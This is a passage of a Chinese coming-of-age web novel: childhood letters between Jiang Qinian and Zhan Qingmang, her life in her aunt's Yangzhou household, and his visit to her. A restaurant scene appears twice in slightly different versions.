写完一张纸,江祈年将自己的功课扒拉到书案角落,翻出了今日收到的阿芒的书信。
与初收到的书信相比,长进许多。
阿芒都会写‘江’了。
江二哥伤好了吗?
江祈年:……
略过。
巷子里的小孩儿告瞎状说我抢他们的木马!
哼!
谁稀罕!
好吧好吧,是有点好玩儿啦。
就一点点。
小江哥哥,我家桃树结果了吗?
阿姐怎么还没接我回家呀。
苦恼脸。
江祈年小心收起书信,装进百宝箱里。坐回书案前,极不情愿的将功课拖拽回来,继续写大字。
阿芒。
这两个字他写得极好了呢。
江祈年提笔一顿——
哦。
要做功课的。
好吧,只能给阿芒回信了。
得书之喜,旷若复面。
……
22. 第 22 章
阿芒不必艳羡旁人之木马,待父兄做好,我赠阿芒于扬州。唔,我还未学木匠,敬仰赖爹与哥哥,等我长大与哥哥一般,许就会了呢。二哥伤势大好,阿芒宽心。
正和十年,七月初三。
今去玉带小巷,未见青玉阿姐。门扉有锁,不知院中桃树可结果。欲登梯爬墙,被隔壁小童喊叫,无奈折返。幸而窥得院中桃树,尚且幼苗,未有花果。树根地湿,想来青玉阿姐悉心照料,盼你早归。
正和十年,七月初五。
今晨起见落叶,忽闻秋时。娘与嫂嫂煨一锅山煮羊汤,甚鲜。周岁侄女婴语欲尝鲜,羊骨皮伤。
正和十一年,十月二十七。
“今冬甚寒,爹与大哥押镖出门,路遇劫匪,无性命之忧,却也伤冬日之寒。娘于床帏垂泪,爹说,今岁且关张生意,待开春再行安排。我与兄长比武,又输了。不知何日才能与父兄行镖。唉。”
正和十一年,冬月十一。
先生今日讲别离,烟花三月下扬州。我忽想起阿芒。
正和十二年,三月初二。
忽闻前街马婆婆去世,怔然许久。我没再买到马婆婆的烧鹅,稍觉遗憾。忽念阿芒不在,无人同食,大抵……也没那么遗憾了。
正和十三年,四月初三。
今晨练武,二哥说我多有进益,下回行镖,可带我同去。山川见闻,待我归家与阿芒细说。
正和十三年,五月初七。
此番行镖川郡,山峦起伏,亦闻先生所授——常有高猿长啸。余闻腊肉甚香。请使者代为送往,不知阿芒可喜?
正和十三年,六月十九。
荆门紧闭,院中桃枝硕果累累,引巷中孩童垂涎欲滴。
正和十四年,五月二十。
“久不闻佳友信至,料豫南大雪耽搁。新岁将至,寄信一封,数来去往扬州正合时宜,恭贺阿芒新岁吉乐,岁岁安康。”
正和十四年,腊月初七。
春日伊始,樱花初绽。听闻艳盛桃李,阿芒可否摘一支给我?
正和十五年,三月初十。
“今偶见一支樱花珠钗,赠友谢初樱。
正和十五年,四月初五。
江祈年书。”
“表姑娘,先生已至学堂了!”园中丫鬟焦急催促。
“来啦!”
春光正盛,澄黄的光晕跳跃在少女脸颊,杏眼桃腮,目光澄澈,发苞新簪的珠钗如三月樱,于晨光中熠熠生辉。
光影轮转几载,那年在园子里扑蝴蝶的圆润小身影,如今依旧灵动,却是如竹节拔苗,纤细挺拔。裙摆在脚边荡起涟漪,犹如锦鲤跃出水面。
“累得姐姐在这儿等我,今早我阿娘煮的粥糊啦,我在街角吃的脑花,配着荠菜鸡蛋包,太好吃啦,不仔细吃了两碗,误了时辰……”
展青芒跑近,咕哝的讲。
她来扬州已过五载,日日听着吴侬软语的调子,不知何时自己了染了几分,瞧着像是江南水米养出来的一颗珍珠,白净透亮。
玉红时常听她这般哄,已然不似从前那样信了。她歪歪脑袋,先是瞧见了展青芒手里的书信,想说——若是不特意去拿这书信,约莫就不会比先生还晚了。可也只是想想罢了,这府上谁还不知,表小姐待那位远方好友的信笺比什么都瞧得紧?
早先三房的小少爷故意捉弄人,藏了表小姐的信笺,可讨了好生的一顿打,在床榻上病恹恹的躺了足有半月,才爬的起来。
“表小姐怕是又跑去东街吃了杏仁酪吧。”玉红无奈道。
“嘿嘿,你闻到啦?”展青芒眼眸清亮,脸上不见因贪嘴而迟到的羞臊,笑得十分愉快,“阿婆给我加了多多的杏仁呢!”
玉红:……
没在夸你啊。
不出意外,主仆二人到时,先生已然授课。
堂中卷帘高挂,展青芒书兜挂在脖子上,鬼鬼祟祟的翻窗而入,正对上老先生木然的神情。
展青芒眨眨眼,佯装没瞧见,动作行云流水,两步挪到自己的书案前,捧着一卷书正襟危坐。
她都这样乖啦,老先生不能骂她了吧!
忽然,一团阴云落在书案。展青芒慢吞吞抬头,便见老先生似瞧墙边淤泥般看她。
展青芒:?
“这个。”先生屈指轻敲她书案上的另一卷书道。
“……哦。”展青芒从善如流的换掉,又可惜轻叹,今日不能听那些收拾狂徒的故事了呢。
老先生坐在堂上,语调悠悠的讲史论今。展青芒沐浴春光,掩唇打着哈欠。不多时,脑袋一歪,脸颊贴着书卷熟睡。
半日课上完,老先生回家吃饭了。
展青芒在呱唧呱唧说话声中醒来,睡眼惺忪。慢悠悠打个哈欠,换半边脸去压,眼皮一耷,又要去梦周公。
“成日的在书堂睡觉,又何苦来听学。”
“人家又听不懂先生讲什么,不睡能作何。”
“所以说啊,麻雀飞进了金窝窝,也变不成凤凰。可惜了大伯母一番苦心,还指望她借着咱们家的权势能得嫁高门呢。”
“她除了那张脸还算讨喜,哪还有过人之处?”
“有啊。”展青芒坐起来,软乎乎的小手撑着困倦的脸蛋,还没说话,先打了个哈欠,一双杏眼雾蒙蒙的湿润,像是晨起的露珠。
“我知道东街曹阿婆的杏仁酪做得极好,东园的樱花漂亮,柳枝河的鱼肥硕,烤来吃很香。可惜了,孙三小姐嘴巴臭,眼睛盲,人间乐事竟是一桩都尝不得。当真是让人惋惜。”
展青芒说着站起,拎着书兜,对着几张哑口无言的脸,语调轻快又张扬,“我还知道,我要去找姨丈告状了呢。”
说罢,步伐轻快的蹬蹬蹬出了学堂。
“……”
堂中等小厮丫鬟收拾书箱的几人,面面相觑又目瞪口呆。
那被骂的三小姐恼得脸都红了,好半晌憋出一句——
“她怎的这般嚣张?!”
“许是……她得我父亲疼吧。”
前面响起淡淡的一句。
几人扭头看,这才觉孙云酿还未走。
三小姐不服道:“你不是也不喜欢她吗!”
孙云酿神色极淡,“与你何干。”
说罢,带着丫鬟离开了学堂。
三小姐吃了瘪,忿忿不平,念念叨叨的说着孙云酿坏话,“不就是大房嫡出的小姐嘛,得意什么,她娘又生不出儿子,到时还不是她那庶出的弟弟掌家,我看她能得意到几时……”
旁边的几人还在懊恼方才说话惹到展青芒,听得她言语嫉妒,皆做鹌鹑不语。<
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p>展青芒腿脚轻快,熟门熟路的跑去了姨母院里蹭饭吃。正要进门,却是见姨丈孙桥周迎面来。
“姨丈要出门?”展青芒嘴巴快的问。
孙桥周年近四十,一副文弱书生模样,只沉浸官场十数载,较之书生多些沉着。见着她,孙桥周轻颔首,“衙门还有公务,我便不留了,阿芒陪你姨母用饭吧。”
展青芒才不信这话呢,只是也没戳破。她嘴巴嘚吧嘚的将方才学堂的吵嘴说了,本就性子活泼,年岁又小,讲述得绘声绘色。言罢,又噘着嘴巴不高兴的说:“旁人便罢了,左右二房三房的兄弟姊妹,与我也没血亲。可姨娘院里的弟弟,到底是要喊我姨母一声母亲的,她与旁人一道论我长短,我受不了,好难过的。”
孙桥周眉心蹙了下,与她轻声言道:“此事姨丈知道了,晚些罚他。定给阿芒一个交代,可好?”
展青芒抿抿唇,小声说:“我也不是要姨丈罚他,兄弟姊妹皆是手足,便是他不念我这个做姐姐的,我难不成还能怪他?可纵然亲缘浅,也有一府情分在的,我是替姨丈难过。”
送走孙桥周,展青芒进屋。
桌上已摆好饭菜,王姝抬手示意屋里伺候的侍女退下,只留了翡翠在。
“磨磨蹭蹭,瞧着是不饿。”王姝看着她,唇角抿着笑说。
展青芒没用翡翠伺候,自个儿将书兜一扔,转身去净了手,听得姨母讲话,嗖嗖坐过来,贼兮兮的问:“姨母与姨丈又吵架啦?”
王姝伸着手指将她脑袋推开,嗔道:“吃饭。”
“孙云酿不来吃吗?”
展青芒扭头往院儿里瞧。
“她去陪老夫人。”王姝淡声道。
“哦。”展青芒嘴巴不停的叨咕叨,“姨母今日瞧着气色好些了,阿娘念着您呢,说是等您身子养好些,要与您去泛舟呢,还不许我跟着。”
王姝:“让她安心,我都好。”
展青芒可不这样觉得,吃罢饭,碗盏被丫鬟撤了下去,换了茶盏和瓜果来。她还殷切叮嘱着:“这许大一家子,都有手有脚的。姨母待自己好些,事情吩咐给旁人去做,别总是劳心伤神的。”
阿娘说,姨母这病就是常年的劳心伤神,被生生拖垮的。她都记着呢。
“才几岁的姑娘,说话可不兴这样老气横秋的。”王姝轻声道。
展青芒哼了声,剥了个枇杷吃。临走时,展青芒抱了抱她,撒娇道:“东园的桃花也开啦,下月我生辰,要姨母和阿娘带我去踏青烤鱼,姨母可要保重身子呀。”
“好。”
从孙府出来,展青芒绕去东巷买了碗酥酪,说好明日来送碗,边吃边家去。走到巷子口,却是见一匹骏马站在巷子里,无聊的打鸣。
展青芒狐疑的往前走——
是她家门外哎!
想到什么,展青芒眼睛一亮,边喊“江二哥!”,边撒丫子往自家院子里冲。她刚绕过牡丹照壁,就见院子里立着一道清瘦挺拔的身影——不及江祁川高大威猛。
少年闻声偏头看来,二人皆一怔愣。
“誒?”
展青芒双眸一寸寸睁圆,“小、嗝——小财神?!!!”
少年目光巡过她发间的樱花簪子,而后目光长久的停留在瞠目结舌、滑稽又可爱的脸上,“所以,小财神是谁。”
23. 第 23 章
午后骄阳如火,长巷中的小庭院,不闻孩童在巷中嬉闹,就连趴在草丛里的蟋蟀都像是嘎了,是午后独有的宁静。
多年不见的人,就这样站在眼前,眼眸含笑的问她,小财神是谁。
展青芒眉眼、唇角霎时弯起,好不欣喜。她朝他扑去,江南这般温柔乡,也没养出她几分矜持来,手脚并用,手臂搂着人家的脖子蹦跳着喊:“是你呀!”
“是你呀!”她又重复,似恍然眼前之人并非空梦,心口的欢喜涨潮似的,“这也太棒了吧!!!”
两人通信多年,幼时不知事,一日能写好多事,芝麻大的事都要讲,是以,有了那自京城来到扬州的木马。可江祈年从未问过她什么时候回家,好像,他透过那歪歪扭扭的字迹,读懂了她的难过。
展青芒问过几回来看望她的江二哥,小财神何时能与他一起呀?可她从未将这话写在信笺,她也怕他难过的呀。
不可置信,欣喜过望。
不似她那美梦中,展青芒与阿娘回到京城,见到她所有她想念的人。
小财神来啦!
啪嗒。
书兜掉在了地上。
“哎呀!”
“我的枇杷!”
展青芒着急忙慌的松开手,去捡那装着枇杷的书兜,被压坏就不好吃了啊!
馋嘴姑娘就记着枇杷,没瞧见那少年郎僵直的身体和瞬间涨红的脸。
等展青芒急吼吼查看枇杷个个儿完好后,拍着胸口松了一大口气,江祈年正偏着脸模样认真的看庭院中刚长花苞的桂花树。
莫名的,展青芒没吭声,蹲在地上悄悄的打量着他。
小财神也长大啦。
长得比她高出许多。
与小时不太一样,鼻梁好高哦,眼睫毛也好长。
清清瘦瘦的模样,身上那件棉麻灰白褂子都被他穿得有些俊朗呢。
“怎么了?”江祈年侧首问。
展青芒晃晃脑袋,手臂往前一伸,“我请你吃枇杷呐。”
王婵闻信回来,就见俩人坐在长廊吃枇杷。
“不是你二哥说,我都不敢信。这才几年啊,都长大了。”王婵看着他难掩惊讶,欢喜一圈儿,又赶忙拦:“别吃枇杷了,我买了鱼和肉,店家还送了些螺,等会儿吃饭了。”
江祈年乖巧应下。
王婵拎着一兜,快步往厨下走,院里的老妇也跟过去帮忙。
江祈年轻轻舒了口气,扭头,就见展青芒双手托腮笑眯眯的看着他。他一顿,又拿起个枇杷——
“你都说不吃啦,骗人呢?”展青芒眨眨眼睛,有着一同干坏事的小声。
江祈年摇头,“挺好吃的。”
“是吧是吧!”展青芒可来劲儿了,“那些个高门大户的小姐不爱吃,怕剥皮染了指甲不雅,我可不觉得,这枇杷多好吃呐!”说着,她小叹声气,“实在是京城太远,阿娘说不等送去就烂在半路了,不然我早就给你送了。”
“没关系,我吃到了。”江祈年说着,将剥皮的枇杷递给她。
从前排排坐吃糖葫芦的小豆丁,如今长成了小豆苗。两人同坐长廊,嘀嘀咕咕说着这些年的见闻。那乍然欢喜后的陌生,在一言一语中渐渐消散。
厨下,老妇帮着烧火,听着前面不时传来的清脆笑声,低声与王婵道:“这是表小姐那位朋友?”
“是啊,”王婵嘴角也落不下,“真没想着这孩子能千里迢迢的来扬州。”
江祁川是每年都来几回的,有时待两日,带着展青芒在城里耍,两人还跑去城外的客山寺吃斋饭,有时送来些吃食衣物,就匆匆忙忙的走了,一餐饭都来不及吃。
他们两家这些年,因着这缘故,倒是添了些情分。
“他父兄往南去了,小孩儿在家里住些时日,等他们折返回京时来接,”王婵说着,又不忍笑,“阿芒要开心坏了。”
老妇欲言又止,最后还是悄声道:“邻里邻居的说起,还是说小郎君是娘子表亲的好。”
王婵愣了下,随即反应过来她这话的意思。
半大不小的年岁,虽说他们还小,未必懂得什么。但架不住瓜田李下的让人说嘴,就是王婵和阿芒不在意这些俗话,可总要顾及孙家。这些年与孙家常来常往,才没招得那些个宵小上门来,母女俩也算安稳。她是知府夫人妻妹的事,虽说不上人尽皆知,但在这巷子里也不是什么秘密。
孙老夫人本就对阿芒颇有微词,全凭王姝顶着。没得再去招她挑刺儿说理的。
不过,这些就是大人们的事了,不必说给两个小孩儿听。
饭菜摆了一桌,已是半后晌了。再过一个时辰,太阳都要落山了。
堂屋光线极好,几人围桌而坐。虽不及江家一大家子热闹,但也安静舒适。
江祈年跟着行镖,风餐露宿小半旬,好容易吃到一顿热饭菜,没有狼吞虎咽已是极克制了。
母女俩都用过午饭,陪坐略动了几筷著,便只剩给他夹菜了。
“今日匆忙,没准备什么,明儿咱们再好好吃一顿。”王婵说。
“这鱼汤是我阿娘做的最好的,你尝尝,很鲜呢。”展青芒说。
“尝尝这道扒烧猪头,我不会做,是在酒楼买回来的,你二哥每回自个儿就能吃一个儿呢。”
“再过些时日,就能挖莲藕、摘莲蓬了,我带你去啊!”
……
江祈年腾不出嘴巴来,腮帮子鼓鼓的,只能点头应下。汤足饭饱,疲倦慢慢爬出身体,手脚沉得抬不起来。
展青芒也不闹人,带着他去阿娘刚收拾好的厢房,“这园子后边就是我的院子啦,明儿再带你去看,你快去睡觉吧!”
江祈年当真也觉得累了,再坐片刻,怕是脑袋往桌上一磕,当即去见周公了。
“行镖辛苦,日夜兼程的赶路,就是你江二哥都累得够呛,莫说小江才十一二岁。”王婵收拾碗筷边说。
展青芒不住地点脑袋,她听懂啦!
“阿娘放心吧!我会对小财神好的!”
王婵:?
江祈年一觉从日光西晒睡到了月上柳梢,半睡半醒间,隐约觉得床边坐着一人。惺忪的眼睛倏地睁开,三魂七魄险些丢了大半。
“……你坐在这儿做甚。”江祈年睡得喉咙沙哑,语气有一点点小崩溃。
展青芒没听出来,只觉着他这样讲话好好听啊,像是江水漫过江边的细沙。
“我在给你打扇呀,扬州眼瞧着要入夏了,蚊虫很毒呢,咬一个大包要痒好几日,涂花露也没用。”展青芒觉得自个儿可体贴啦,说罢,小声与他提小请求,“你能都用刚才的声音跟我说话吗?”
“嗯?”江祈年困出的双眼皮褶皱都是浓浓的不解。
展青芒挠挠耳朵,笑得有些不好意思,偏生那双眼睛明亮,“我耳朵怪痒的,嘿嘿。”
江祈年:……
门窗闭着,漆黑的屋里只有浅淡的一层皎洁月光。夜色好像已经很深,听不到左邻右舍的动静
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……
虽说他睡着时也没听着。
“回去睡。”江祈年哑声道。
小姑娘是那被伺候的,连人嗓子哑了都听不出,只觉得怪好玩儿的。
“你不睡吗?”展青芒问,“我给你打扇呀。”
“……不用。”
“可我不困。”展青芒眨巴着眼睛,老实交代。
二人对视片刻,江祈年认命了似的,双肩一垮,声若蚊蝇的问:“你家茅厕在哪儿?”
睡前吃了恁些枇杷,又喝了两碗鱼汤,他就是被尿憋醒的。江祈年本想喊她回去睡,自个儿找找,可推不开这粘豆包似的人。
展青芒殷勤极了,拎着油灯替他带路,等人往里走时,还不放心的叮嘱,“你别掉进去啊。”
江祈年:……
无需担忧。
王婵和看门的老妇都歇下了,草丛里的蟋蟀清醒了,嘎嘎的叫。展青芒和江祈年也没睡意……哦,他有。可显然他此刻不能安眠。
俩小孩儿蹑手蹑脚,不生出丁点儿动静,去厨下取了些瓜果。正值月中,月亮像盘子似的悬挂在夜空,繁星点缀。
展青芒咬一口桃子,生出点难过来。“我阿姐好不好呀,崔家哥哥有没有娶妾室?我都不怪阿姐啦,她就不能多多的给我写信嘛……”
时隔几年,哪怕阿娘不说,展青芒也渐渐懂了,那时临别阿姐说长出桃子就来接她的话,是哄小孩儿不要哭闹的谎话。
阿姐成亲了。
没有妹妹可以一直住在姐姐家,阿娘与姨母就是这样的。
纵然展青芒不愿意,还会偷偷难过,可也没法子。
江祈年看着她,唇微张了张。半晌,他轻咳了声清嗓子,正欲说话,嘴巴忽然被一只柔软的手捂住了——
扑鼻的清甜桃香。
还有些微微湿濡,像是淌着的桃子汁水。
“别这样大声。”
“阿娘听见会骂我的。”
展青芒做贼似的往后院瞧,一双杏眼瞪圆,像极了警惕的狸奴。
江祈年嗓子发紧,隔着衣袖握住她的手腕,将她的手拿下来。他低声道:“去岁秋闱,官家下诏,女子同等科考。”
“知道呀,”展青芒不知他为何要说这事,倒豆子似的将自个儿听来的闲话说与他听。
女子科考,实在世间罕见。去岁不少人家的姑娘,都闹着要去科考。
“嫁了人家的,丈夫姑婆拦着,姨母说,那是那舅姑丈夫怕女子一朝中榜,权势高过他。还有几个大人家的姐姐,也要科考,可家里不许,嫌她们丢脸。我委实不解,但姨母也不与我讲是为何。”
两个小豆苗,如遇晦涩难懂的论题,轻声叹气。
他们坐在月亮下,说话慢慢的,没了晌午刚见时的急躁。风不凉,扬州真的要入夏了。原来,初来扬州的展青芒感受到的是这样的风,这样的月。
安静片刻,江祈年继续道:“青玉姐中了榜。”
“啊?”
展青芒漂亮的杏眼挤成了豆豆眼,显得很睿智。
江祈年看着她,又说:“此次出来时,皇榜已放,青玉姐是头名。”
展青芒嘴巴又张圆一点,“哇~”
江祈年抬手戳戳她脸颊,抿着笑问:“知道什么是头名吗?”
上课睡觉的差生哪里听过这个呀。
展青芒睁着睿智的眼神,摇摇空荡荡的脑袋,咽了咽口水,与他讲悄悄话似的小声说:“但听着好厉害呀!”
24. 第 24 章
江祈年神情认真的点头,“你阿姐真的很厉害。”
展青芒如喝了一罐蜜,捂着嘴巴笑得好不得意,又赞叹:“这也太棒了吧。”
这股与有荣焉的小劲儿,像是偷着小鱼干儿的狸奴,让人想将它抱在膝上顺顺毛。江祈年咽了咽喉咙,没将前些时日京中闹得沸沸扬扬——因展青玉中了榜首,百名学子跪在宫门前请官家收回谕旨,剥夺女子功名的事说与她听。
“那我阿姐也能当官儿了吗?”展青芒捉着他的衣袖,双眼放光的问。
“还要殿试,若无差池,应是能的。”江祈年说。
他先前书信未提,只以为展青玉自己通书信时已说,哪知展青芒竟是半分不知。江祈年轻皱了下眉,不解何意。
展青芒一夜好梦,酣睡至大天亮。醒来时,已然日上三竿。
王婵也真真儿是佩服,她进去三五回,也没将人从被窝里揪出来,只得差人去孙府与父子告假。
于是,展青芒就这么顺理成章的翘课啦!
饭桌前,江祈年也刚睡醒不多时,双目无神的端着粥碗慢吞吞的吃。桌上还有王婵早晨买来的汤包和小菜佐粥。
展青芒大嘴巴,将阿姐要当官儿啦的喜讯说与阿娘听。
王婵听得险些掉凳,手忙脚乱的跑进来问江祈年:“阿芒说的可是真的?阿玉当真中榜了?!”
江祈年肯定点头。
他忽然想,展青玉先前未通信说此事,怕是已然预料得宫门前学子跪,不想让亲娘妹妹跟着心忧。
不知如今殿试可有论断,若是他说错了……
江祈年想给家里去信了。
但显然,王婵比他更急。为母者欣喜若狂,当即便要阿芒替笔,给喜忧皆不报的长女去信。
展青芒却是安安稳稳在饭桌前坐下了,左手一碗甜粥,右手一个烧麦,吃得腮帮子鼓起,急得王婵要来拉她,才嘟囔出声:“阿姐既是不说,定有她的缘由在,我们就当不知道好啦,等她想说时再问吧。”
“哎呀,这样大的事,我怎能当作不知道?”王婵焦心道。
“知道又如何?”展青芒眨着眼睛说,“我们又不能替她科考呀。”
王婵:……
母女俩磨磨赖赖半刻,江祈年饭都吃完了,一时间不知道该走还是继续坐着。
最终,这书信还是没写。
王婵不大高兴的走了。
江祈年问:“为何不愿给你阿姐写信?”
展青芒埋头用汤匙搅着甜粥,软塌塌的米成了一糊涂,才听她小声说:“阿姐不愿说的。”
“我太小了,阿娘也柔弱,从前大伯带着人上门来讨宅要钱,都是阿姐顶在前面。她心里想什么,要做什么,也无人可商议。我与阿娘帮不了她什么,但也委实不愿她因这些事再烦忧。”
展青芒吃一口粥,还是为阿姐胜过许多男子、高中皇榜而欢喜。“等她想说了,自然会告诉我们啦!”
吃过早饭,两人收拾了碗筷。
展青芒喜滋滋的道:“我去换身衣裳,带你去逛扬州城!”
二人切切实实游玩了两日。扬州城里展青芒喜爱的铺子,她都带着江祈年去了。二人晚间归家时,撑得一碗汤都喝不下。东园西池,这个时节正是好看的,园中的樱花、桃林,池中的鱼水湖草,都很好呀。
旷学一日复一日,老先生忍无可忍,将人告去了王姝跟前。
第三日时,王姝遣人来问,阿芒何日回去读书。
彼时,展青芒捧几支莲子,神情茫然。过了半晌,她“哦”了声,扭头与江祈年道:“原来还要读书的。”
江祈年:……
而后,他便听这姑娘理直气壮地与来传话的丫鬟说——
“你回去与姨母讲,我要招待好友,无暇读书呢。”
江祈年一口莲子羹险些喷了。
翌日,江祈年坚决不出门,要她去读书。
展青芒深感遗憾,拎着书兜一步三回头的磨蹭去了。
晌午散学时,展青芒让玉红姐姐去禀姨母,她要回家吃饭啦!收拾好书卷,往肩上一甩,三步并作两步的小跑出门去。
她眼睛贼尖,一眼就瞧见了街巷前那捧着两盏冰酥酪、逐渐熟悉的身影。
展青芒忽然想起了小时,她
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有时睡过头,急急忙忙的跑出来时,他就是这样捧着两份好吃的等在玉带河畔。
“嘿嘿~”
“真好呀!”
二人晌午没回家吃饭,江祈年带她去了一间酒楼。
展青芒好奇道:“你怎的知晓这里?”
“二哥说的。”
“哦哦!江二哥好喜欢吃他家的蟹粉狮子头!”
正值午时,食客众多。
堂倌儿引客往楼上去。
路过一间厢房,忽听人唤了声阿芒。
江祈年比展青芒都先扭头看去,只见厢房之中坐着几个锦衣华服的男人,个个儿被酒气熏得脸浮红。
“真晦气……”展青芒小声嘀咕。
“认识?”江祈年问她。
展青芒瞥一眼那肥头大耳的男人,不情不愿的道:“我姨丈妾室的弟弟。”
她当真是半分不想跟这样臭臭的男人当亲戚,好丢脸。
江祈年:?
二人在门外小声说话,那男人也在厢房与几个好友介绍。
“这是府上新的下人?你姨母怎的给你找了这么个小男人。”男人打量着江祈年,眉眼不善的道。
展青芒嗖的一下,脑袋顶的头发就要站起来了。她眨眨眼,不好意思的道:“周小叔不出声,我还当是谁家抬夜壶的呢。”
“你!”男人顿拍桌。
“姨丈与姨母在楼下呢,我唤他们来,与周小叔一道吃?”展青芒又道,“不知周小叔前些时日在赌坊输的银子可结清了?正好今日遇着姨丈,可要些银子呢。”
目送那碍人眼的气急败坏走后门出,展青芒收回脑袋,脚丫子得意得晃了晃。
堂倌儿出了厢房,江祈年道:“他总欺负你?”
展青芒摇摇头,“没见过几回。周姨娘得势,他也跟着抖威风,我平日都不搭理的,有时气不过,就去欺负他侄子,先生说,这叫恃强凌弱。”
江祈年:……
展青芒半分不觉惭愧,毕竟,周姨娘的那儿子,仗着自己是姨丈膝下唯一的男丁,还有孙老夫人撑腰,脾气坏得很,连孙云酿都欺负呢。
25. 第 25 章
孙云酿擦净手,瞪着那一尾游鱼似的立刻跑不见了的身影,漂亮的小脸儿上挂着不高兴,“后日她去,我就不去了!”
话出口,却是越觉生气。她是家里嫡出的姑娘,赴宴的是她的母亲,凭何要她躲着,展青芒却是高高兴兴的去赴宴。
“丢脸丢到了春伯母家,母亲要春家的人日后如何看我!母亲处处想着展青芒,可到底她是你女儿,还是我是?”
王姝掩着帕子轻咳了两声,不赞同的道:“你与阿芒是姐妹,与亲姐妹没差的。”
“她不是!”孙云酿厉声打断,“母亲只生了我!她自己又不是没有母亲,凭何来与我抢!”
“云酿!”
“我哪句说错了?母亲想要展青芒嫁高门,可她那样子,如何堪为当家主母,来日莫不是还要带累我的名声!”
房中伺候的丫鬟早已悄声退下。
门外绿丛里的蟋蟀聒噪,孙云酿被午时的日光刺得眼睛疼,抿唇与阿娘失望的神色对视,她抿着唇,执拗得不肯承认因言语失当的惴惴不安。
孙云酿想,她就是这般想的,旁人不诉诸于口,不过是因世人大多虚伪!
母女俩目光对峙许久,王姝轻轻启唇道:“许多话,从前念着你年纪小,从未与你说过。我随你父亲在任时,他开罪了地方豪绅,遭人报复,那时衙役护送着他匆匆出逃,我与你哥哥在府里,闻讯时已经晚了。你哥哥,便是那时没了的。”
孙云酿猛然一怔,她从未听过这其中原委。
“自那之后,我身子大不如前,直至有了你,日子才有了盼头。我不知你与阿芒为何处不来,问过几回,你都闭口不言,只道是不喜。我想着,你们姐妹纵然不如我跟你小姨亲厚,但到底是表亲的姐妹。那日阿芒在院中与你父亲说起你姨娘院中的弟弟,她道——兄弟姐妹皆是手足,纵然亲缘浅薄,但也有情分在的。她待没有血亲的六郎尚且如此,何况是你?”
“来日便是我与你小姨都不在了,你若遇得难处,阿芒定不会袖手旁观。先前我以为,你亦是如此。”
孙云酿脊背一抽,脸上仿若被扇了一巴掌。
“家族若要兴旺,定是要一家子同气连枝。姑娘家骄傲些无妨的,但若因此而目中旁人,只惦记着自个儿汲汲营营,来日行路必定艰难。阿芒虽是淘气些,可她不如你三婶儿房里的妹妹娇纵跋扈,更不比你目下无尘。她性子娇憨,待人以诚,日后不管是嫁高门大户还是巨贾富绅,日子都能过得好。而我也同样,希望你能过得舒坦自在。”
“你只瞧我待阿芒亲近,可你扪心自问,你小姨待你如何?自幼阿芒有的,她可曾短过你一分没?春家是清流读书人家,讲究礼数,规矩却并不严苛。阿芒如今不过十岁,带一份吃食,算得什么没规矩?她夸春家的黄金鸡好吃,往后我带你们去春家做客,桌上回回都有那道菜,这又是何缘由?可你从来没发现。心思敏感,只觉此事让你难堪。”
孙云酿被亲娘接连的问责,问得脸胀红。她眼睛里有难过,也有少年人争一时意气的不甘。
“母亲既是瞧展青芒样样都好,何不将她当作亲女,我又何苦碍你们的眼!”
--
展青芒还不知那母女俩吵起来了,她躲过孙云酿的嘲讽话,吃着葡萄蹦跶出了府。
正值晌午晒的很,巷子外面卖酥酪的店家生意极好。门前起了棚子,供来往的行人歇脚纳凉。
展青芒看了一眼,揪了颗葡萄塞嘴巴里解馋,步伐轻快的穿过凉棚正要迈入大街。
忽然,一只手伸来握住了她手腕,她手里的葡萄不过半指的距离。
展青芒:!
光天化日……
她猛然扭头,正欲揍这当街抢人葡萄的登徒子!
手肘利落又用力得往后一怼,被人眼疾手快的用掌心接住。
同时,展青芒瞧清了那张脸,凶巴巴的神情瞬间龟裂,又惊又喜的“呀”了声,咧着嘴巴欢喜的问:“你怎么在这儿呀?”
“王姨说,你午后不读书。”江祈年垂首看自己通红发烫的掌心。
展青芒也看见了,顿有些不好意思的咕哝:“我吓了一跳呢……”
江祈年抬起头看她,眉梢不觉轻抬了下,小声问:“难道不是你以为我抢你的葡萄?”
方才她一手肘揍过来,另只手接过葡萄的动作行云流水,他可瞧得真真儿的。
被揭穿了,展青芒小肩膀一怂,笑得贼兮兮,“这葡萄可甜啦,我给你留的呢!”
江祈年也不辨这话真伪,在她伸手欲要将一颗葡萄塞他嘴里时,赶忙伸手接过,放进嘴里。
时候不到,葡萄还未熟透,透着些酸。江祈年吐出葡萄皮,婉拒了她又递来的一颗,“你自己吃。”
展青芒歪了歪脑袋,满脸真诚的问:“不好吃吗?我特意给你留的呢。”
江祈年:……
若非是她这双眼睛里狡黠太盛,他当真要信了。
江祈年伸手接过那颗葡萄,剥皮后朝她递去,同样的澄澈真挚道:“一起吃。”
他这模样,像极了玉带河前他们同吃一串糖葫芦时,他让她咬着吃,别舔。
……搬起石头砸自己的脚。
展青芒咧嘴尴尬笑,扭头要了两碗冰酥酪,又指小财神,“他给钱。”理直气壮,又理所应当。
江祈年唇角抿着不明显的笑意,将指尖捻着的尚且青涩的葡萄吃掉,过去付了账。
各端一盏冰酥酪,待两人走到宾客如云的酒楼时,已见碗底。瞧他熟门熟路,展青芒舔舔冰凉的嘴唇,好奇道:“你怎的知晓这里?”
江祈年用肩膀替她挡开旁边闹哄哄的食客,说:“二哥说的。”
“哦哦!江二哥好喜欢吃他家的蟹粉狮子头!”
大堂没了位置,二人随引路的堂倌儿往楼上去。展青芒嘴巴不停的与他说这家酒楼的那道菜好吃。
路过一间厢房,忽听人唤了声阿芒。
江祈年比展青芒都先扭头看去,只见厢房之中坐着几个锦衣华服的男人,个个儿被酒气熏得脸浮红。
“真晦气……”展青芒在他旁边小声嘀咕,语气是止不住的嫌弃。
“认识?”江祈年问她。
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展青芒瞥一眼那肥头大耳的男人,不情不愿的道:“我姨丈妾室的弟弟。”说罢,脑袋一扭,万分不愿承认的模样。
实则,展青芒也当真是半点儿不想跟这样臭臭的男人当亲戚,好丢脸。
江祈年:?
他想了想二人的关系——
没干系。
江祈年半边身子挡住厢房里那醉意熏天的男人,正欲与展青芒说走吧。那人又喊了声,让展青芒进去。
“自个儿出来玩儿,来,进来跟舅舅和朋友一块儿吃!”
展青芒毫不客气的翻了个白眼,心道:怕是熏得她昨日吃的饭都要吐他脸上!
不知那同桌而食的几个纨绔子是哪家的,可被点破了身份,展青芒也不好太过无礼,丢了孙家的脸面。她正想推辞,就听那油头粉面的又道:
“这是府上新来的下人?你姨母眼光倒是好,给你找了这么个俊俏的小男人。”
无怪乎这几人将江祈年视为下人,都是扬州城中的浑人,哪家的姑娘郎君,他们打个照面儿都知晓。江祈年面生,身上的衣裳是寻常的布衣,多是他们府上下人穿的。
